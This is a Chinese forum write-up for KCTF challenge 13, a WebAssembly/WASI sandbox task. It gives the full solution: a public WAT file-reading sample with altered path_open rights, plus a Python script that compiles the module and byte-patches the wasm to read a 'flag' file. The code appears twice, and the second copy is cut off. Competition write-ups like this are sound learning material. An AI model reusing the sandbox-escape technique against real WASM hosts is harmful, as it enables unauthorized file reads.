[原创][KCTF]第十三题共存之道 WP-CTF对抗-看雪-安全社区|安全招聘|kanxue.com

[原创][KCTF]第十三题共存之道 WP
发表于: 2023-10-2 06:15 9366
[原创][KCTF]第十三题共存之道 WP

H.R.P
2023-10-2 06:15
9366
前言：
讲真 第一次接触wasm，这个题出的让我有点失望我说实在的，如果是内存利用的话我还能接受，但是打到最后发现只是入门学习而且基本上就是GitHub搬家过来的我只能说出题人 再接再厉吧。
分析:
一般这种题会提供diff，但是没有提供，证明没有大魔改，然后根据官方文档去看API的调用是否被改变。IDA搜索字符串"wasi_snapshot_preview1" 可以发现剩余少的可怜的API，主要有用的如下
利用ORW直接读取flag，但是你要我在第一次短时间内写出wat文件的格式是很难的啦，直接GitHub搜就完事了。模板连接如下模板
这里要稍微改下的就是path_open的2个权限标志，把2个3都改成2（fd_rights_base 和fd_rights_inheriting ），
生成wasm的脚本是嫖的https://blog.wm-team.cn/index.php/archives/34/
完整EXP如下
上传脚本如下
总结：
整了那么久 结果发现GitHub现成的，你说你好歹魔改个内存bug出来，我去花时间调试我也不会喷什么，就是失望，就一个ORW。

(import "wasi_snapshot_preview1" "fd_read" (func $fd_read (param i32 i32 i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "fd_prestat_get" (func $fd_prestat_get (param i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "fd_prestat_dir_name" (func $fd_prestat_dir_name (param i32 i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "path_open" (func $path_open (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "proc_exit" (func $proc_exit (param i32)))

(import "wasi_snapshot_preview1" "fd_read" (func $fd_read (param i32 i32 i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "fd_prestat_get" (func $fd_prestat_get (param i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "fd_prestat_dir_name" (func $fd_prestat_dir_name (param i32 i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "path_open" (func $path_open (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "proc_exit" (func $proc_exit (param i32)))

import os

code = '''
;; This sample shows how to read a file using WASM/WASI.
;;
;; Reading a file requires sandbox permissions in WASM. By default, WASM
;; module cannot access the file system, and they require special permissions
;; to be granted from the host. The majority of this code deals with obtaining
;; the "pre-set" directory the host mapped for us, so we can open the file
;; and read it.
;;
;; Eli Bendersky [https://eli.thegreenplace.net]
;; This code is in the public domain.
(module

    (import "wasi_snapshot_preview1" "fd_read" (func $fd_read (param i32 i32 i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "fd_prestat_get" (func $fd_prestat_get (param i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "fd_prestat_dir_name" (func $fd_prestat_dir_name (param i32 i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "path_open" (func $path_open (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "proc_exit" (func $proc_exit (param i32)))
 
    (memory (export "memory") 1)
 
    (func $main (export "_start")

        (local $errno i32)
 
        ;; Call fd_prestat_get to obtain length of dir name at fd=3

        ;; We pass the pointer to $prestat_tag_buf -- the actual length will

        ;; be written to the next word in memory, which is $prestat_dir_name_len

        (local.set $errno

            (call $fd_prestat_get (i32.const 3) (global.get $prestat_tag_buf)))

        (if (i32.ne (local.get $errno) (i32.const 0))

            (then

                (call $println_number (local.get $errno))

                (call $die (i32.const 6900) (i32.const 28))))
 
        ;; Call fd_prestat_dir_name to obtain dir name at fd=3, saving it to

        ;; $fd_prestat_dir_name

        (local.set $errno

            (call $fd_prestat_dir_name

                (i32.const 3)

                (global.get $prestat_dir_name_buf)

                (i32.load (global.get $prestat_dir_name_len))))

        (if (i32.ne (local.get $errno) (i32.const 0))

            (then

                (call $println_number (local.get $errno))

                (call $die (i32.const 6950) (i32.const 33))))
 
        ;; Sanity checking of the prestat dir: expect it to start with '/'

        ;; (ASCII 47)

        (i32.or

            (i32.lt_u (i32.load (global.get $prestat_dir_name_len)) (i32.const 1))

            (i32.ne (i32.load8_u (global.get $prestat_dir_name_buf)) (i32.const 47)))

        if

            (call $die (i32.const 7025) (i32.const 49))

        end
 
        ;; Open the input file using fd=3 as the base directory.

        ;; This assumes the input file is relative to the base directory.

        ;; The result of this call will be the fd for the opened file in

        ;; $path_open_fd_out

        ;;

        ;; Note: the rights flags are minimal -- only allowing fd_read.

        ;; Previously I tried giving "all" rights, but this didn't work in

        ;; node (though it did in other runtimes). The reason for this may

        ;; be that each fd has its maximal inheriting rights (specified in

        ;; the fdstat.fs_rights_inheriting field), and we can't open a file

        ;; with higher rights than its parents' inheriting field allows.

        (local.set $errno

            (call $path_open

                (i32.const 3)           ;; fd=3 as base dir

                (i32.const 0x1)         ;; lookupflags: symlink_follow=1

                (i32.const 7940)        ;; file name in memory

                (i32.const 10)          ;; length of file name

                (i32.const 0x0)         ;; oflags=0

                (i64.const 2)           ;; fd_rights_base: fd_read rights

                (i64.const 2)           ;; fd_rights_inheriting: fd_read rights

                (i32.const 0x0)         ;; fdflags=0

                (global.get $path_open_fd_out)))

        (if (i32.ne (local.get $errno) (i32.const 0))

            (then

                (call $println_number (local.get $errno))

                (call $die (i32.const 7090) (i32.const 37))))
 
        ;; (call $println_number (i32.load (global.get $path_open_fd_out)))
 
        ;; Populat iovecs for fd_read; we create a single vector with a

        ;; buffer length of 128

        (i32.store (global.get $read_iovec) (global.get $read_buf))

        (i32.store (i32.add (global.get $read_iovec) (i32.const 4)) (i32.const 128))
 
        (local.set $errno

            (call $fd_read

                (i32.load (global.get $path_open_fd_out))

                (global.get $read_iovec)

                (i32.const 1)

                (global.get $fdread_ret)))

        (if (i32.ne (local.get $errno) (i32.const 0))

            (then

                (call $die (i32.const 7130) (i32.const 29))))
 
        ;; Print out how many bytes were actually read

        (call $println_number (i32.load (global.get $fdread_ret)))
 
        ;; Print "read from file" header

        (call $println (i32.const 7170) (i32.const 17))
 
        ;; ... now print what was actually read; the read buffer was pointed to

        ;; by the fd_read io vector, and use fd_read's "number of bytes read"

        ;; return value for the length.

        (call $println (global.get $read_buf) (global.get $fdread_ret))

    )
 
    ;; println prints a string to stdout using WASI, adding a newline.

    ;; It takes the string's address and length as parameters.

    (func $println (param $strptr i32) (param $len i32)

        ;; Print the string pointed to by $strptr first.

        ;;   fd=1

        ;;   data vector with the pointer and length

        (i32.store (global.get $datavec_addr) (local.get $strptr))

        (i32.store (global.get $datavec_len) (local.get $len))

        (call $fd_write

            (i32.const 1)

            (global.get $datavec_addr)

            (i32.const 1)

            (global.get $fdwrite_ret)

        )

        drop
 
        ;; Print out a newline.

        (i32.store (global.get $datavec_addr) (i32.const 8010))

        (i32.store (global.get $datavec_len) (i32.const 1))

        (call $fd_write

            (i32.const 1)

            (global.get $datavec_addr)

            (i32.const 1)

            (global.get $fdwrite_ret)

        )

        drop

    )
 
    ;; Prints a message (address and len parameters) and exits the process

    ;; with return code 1.

    (func $die (param $strptr i32) (param $len i32)

        (call $println (local.get $strptr) (local.get $len))

        (call $proc_exit (i32.const 1))

    )
 
    ;; println_number prints a number as a string to stdout, adding a newline.

    ;; It takes the number as parameter.

    (func $println_number (param $num i32)

        (local $numtmp i32)

        (local $numlen i32)

        (local $writeidx i32)

        (local $digit i32)

        (local $dchar i32)
 
        ;; Count the number of characters in the output, save it in $numlen.

        (i32.lt_s (local.get $num) (i32.const 10))

        if

            (local.set $numlen (i32.const 1))

        else

            (local.set $numlen (i32.const 0))

            (local.set $numtmp (local.get $num))

            (loop $countloop (block $breakcountloop

                (i32.eqz (local.get $numtmp))

                br_if $breakcountloop
 
                (local.set $numtmp (i32.div_u (local.get $numtmp) (i32.const 10)))

                (local.set $numlen (i32.add (local.get $numlen) (i32.const 1)))

                br $countloop

            ))

        end
 
        ;; Now that we know the length of the output, we will start populating

        ;; digits into the buffer. E.g. suppose $numlen is 4:

        ;;

        ;;                     _  _  _  _

        ;;

        ;;                     ^        ^

        ;;  $itoa_out_buf -----|        |---- $writeidx

        ;;

        ;;

        ;; $writeidx starts by pointing to $itoa_out_buf+3 and decrements until

        ;; all the digits are populated.

        (local.set $writeidx

            (i32.sub

                (i32.add (global.get $itoa_out_buf) (local.get $numlen))

                (i32.const 1)))
 
        (loop $writeloop (block $breakwriteloop

            ;; digit <- $num % 10

            (local.set $digit (i32.rem_u (local.get $num) (i32.const 10)))

            ;; set the char value from the lookup table of digit chars

            (local.set $dchar (i32.load8_u offset=8000 (local.get $digit)))
 
            ;; mem[writeidx] <- dchar

            (i32.store8 (local.get $writeidx) (local.get $dchar))
 
            ;; num <- num / 10

            (local.set $num (i32.div_u (local.get $num) (i32.const 10)))
 
            ;; If after writing a number we see we wrote to the first index in

            ;; the output buffer, we're done.

            (i32.eq (local.get $writeidx) (global.get $itoa_out_buf))

            br_if $breakwriteloop
 
            (local.set $writeidx (i32.sub (local.get $writeidx) (i32.const 1)))

            br $writeloop

        ))
 
        (call $println

            (global.get $itoa_out_buf)

            (local.get $numlen))

    )
 
    ;;

    ;; Memory mapping and initialization.

    ;;
 
    (data (i32.const 6900) "error: fd_prestat_get failed")

    (data (i32.const 6950) "error: fd_prestat_dir_name failed")

    (data (i32.const 7025) "error: expect first preopened directory to be '/'")

    (data (i32.const 7090) "error: unable to path_open input file")

    (data (i32.const 7130) "error: fd_read failed")

    (data (i32.const 7170) "Read from file:\\n")
 
    ;; These slots are used as parameters for fd_write, and its return value.

    (global $datavec_addr i32 (i32.const 7900))

    (global $datavec_len i32 (i32.const 7904))

    (global $fdwrite_ret i32 (i32.const 7908))
 
    ;; For prestat calls

    (global $prestat_tag_buf i32 (i32.const 7920))

    (global $prestat_dir_name_len i32 (i32.const 7924))

    (global $prestat_dir_name_buf i32 (i32.const 7936))
 
    ;; File name

    (data (i32.const 7940) "flag")
 
    ;; Output buf for path_open to write fd into

    (global $path_open_fd_out i32 (i32.const 7952))
 
    ;; Using some memory for a number-->digit ASCII lookup-table, and then the

    ;; space for writing the result of $itoa.

    (data (i32.const 8000) "0123456789")

    (data (i32.const 8010) "\\n")

    (global $itoa_out_buf i32 (i32.const 8020))
 
    ;; Buffer for fd_read

    (global $read_iovec i32 (i32.const 8100))

    (global $fdread_ret i32 (i32.const 8112))

    (global $read_buf i32 (i32.const 8120))
)
'''
 
lines = code.split('\n')

code = ''

for line in lines:

    if '/' not in line:

        code += line + '\n'
 
os.remove("exp.wat")

with open('exp.wat', 'w') as f:

    f.write(code)

os.system('wat2wasm --enable-all --no-check exp.wat')
 
with open("exp.wasm", "rb") as f:

    wasm_data = f.read()

    wasm_data = wasm_data.replace(b'\xfc\x0c\x00\x00', b'\xfc\x0c\x01\x01')
 
with open("exp.wasm", "wb") as f:

    f.write(wasm_data)

import os

code = '''
;; This sample shows how to read a file using WASM/WASI.
;;
;; Reading a file requires sandbox permissions in WASM. By default, WASM
;; module cannot access the file system, and they require special permissions
;; to be granted from the host. The majority of this code deals with obtaining
;; the "pre-set" directory the host mapped for us, so we can open the file
;; and read it.
;;
;; Eli Bendersky [https://eli.thegreenplace.net]
;; This code is in the public domain.
(module

    (import "wasi_snapshot_preview1" "fd_read" (func $fd_read (param i32 i32 i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "fd_prestat_get" (func $fd_prestat_get (param i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "fd_prestat_dir_name" (func $fd_prestat_dir_name (param i32 i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "path_open" (func $path_open (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))

    (import "wasi_snapshot_preview1" "proc_exit" (func $proc_exit (param i32)))
 
    (memory (export "memory") 1)
 
    (func $main (export "_start")

        (local $errno i32)
 
        ;; Call fd_prestat_get to obtain length of dir name at fd=3

        ;; We pass the pointer to $prestat_tag_buf -- the actual length will

        ;; be written to the next word in memory, which is $prestat_dir_name_len

        (local.set $errno

            (call $fd_prestat_get (i32.const 3) (global.get $prestat_tag_buf)))

        (if (i32.ne (local.get $errno) (i32.const 0))

            (then

                (call $println_number (local.get $errno))

                (call $die (i32.const 6900) (i32.const 28))))
 
        ;; Call fd_prestat_dir_name to obtain dir name at fd=3, saving it to

        ;; $fd_prestat_dir_name

        (local.set $errno

            (call $fd_prestat_dir_name

                (i32.const 3)

                (global.get $prestat_dir_name_buf)

                (i32.load (global.get $prestat_dir_name_len))))

        (if (i32.ne (local.get $errno) (i32.const 0))

            (then

                (call $println_number (local.get $errno))

                (call $die (i32.const 6950) (i32.const 33))))
 
        ;; Sanity checking of the prestat dir: expect it to start with '/'

        ;; (ASCII 47)

        (i32.or

            (i32.lt_u (i32.load (global.get $prestat_dir_name_len)) (i32.const 1))

            (i32.ne (i32.load8_u (global.get $prestat_dir_name_buf)) (i32.const 47)))

        if

            (call $die (i32.const 7025) (i32.const 49))

        end
 
        ;; Open the input file using fd=3 as the base directory.

        ;; This assumes the input file is relative to the base directory.

        ;; The result of this call will be the fd for the opened file in

        ;; $path_open_fd_out

        ;;

        ;; Note: the rights flags are minimal -- only allowing fd_read.

        ;; Previously I tried giving "all" rights, but this didn't work in

        ;; node (though it did in other runtimes). The reason for this may

        ;; be that each fd has its maximal inheriting rights (specified in

        ;; the fdstat.fs_rights_inheriting field), and we can't open a file

        ;; with higher rights than its parents' inheriting field allows.

        (local.set $errno

            (call $path_open

                (i32.const 3)           ;; fd=3 as base dir

                (i32.const 0x1)         ;; lookupflags: symlink_follow=1

                (i32.const 7940)        ;; file name in memory

                (i32.const 10)          ;; length of file name

                (i32.const 0x0)         ;; oflags=0

                (i64.const 2)           ;; fd_rights_base: fd_read rights

                (i64.const 2)           ;; fd_rights_inheriting: fd_read rights

                (i32.const 0x0)         ;; fdflags=0

                (global.get $path_open_fd_out)))

        (if (i32.ne (local.get $errno) (i32.const 0))

            (then

                (call $println_number (local.get $errno))

                (call $die (i32.const 7090) (i32.const 37))))
 
        ;; (call $println_number (i32.load (global.get $path_open_fd_out)))
 
        ;; Populat iovecs for fd_read; we create a single vector with a

        ;; buffer length of 128

        (i32.store (global.get $read_iovec) (global.get $read_buf))

        (i32.store (i32.add (global.get $read_iovec) (i32.const 4)) (i32.const 128))
 
        (local.set $errno

            (call $fd_read

                (i32.load (global.get $path_open_fd_out))

                (global.get $read_iovec)

                (i32.const 1)

                (global.get $fdread_ret)))

        (if (i32.ne (local.get $errno) (i32.const 0))

            (then

                (call $die (i32.const 7130) (i32.const 29))))
 
        ;; Print out how many bytes were actually read

        (call $println_number (i32.load (global.get $fdread_ret)))
 
        ;; Print "read from file" header

        (call $println (i32.const 7170) (i32.const 17))
 
        ;; ... now print what was actually read; the read buffer was pointed to

        ;; by the fd_read io vector, and use fd_read's "number of bytes read"

        ;; return value for the length.

        (call $println (global.get $read_buf) (global.get $fdread_ret))

    )
 
    ;; println prints a string to stdout using WASI, adding a newline.

    ;; It takes the string's address and length as parameters.

    (func $println (param $strptr i32) (param $len i32)

        ;; Print the string pointed to by $strptr first.

        ;;   fd=1

        ;;   data vector with the pointer and length

        (i32.store (global.get $datavec_addr) (local.get $strptr))

        (i32.store (global.get $datavec_len) (local.get $len))

        (call $fd_write

            (i32.const 1)

            (global.get $datavec_addr)

            (i32.const 1)

            (global.get $fdwrite_ret)

        )

        drop
 
        ;; Print out a newline.

        (i32.store (global.get $datavec_addr) (i32.const 8010))

        (i32.store (global.get $datavec_len) (i32.const 1))

        (call $fd_write

            (i32.const 1)

            (global.get $datavec_addr)

            (i32.const 1)

            (global.get $fdwrite_ret)

        )

        drop

    )
 
    ;; Prints a message (address and len parameters) and exits the process

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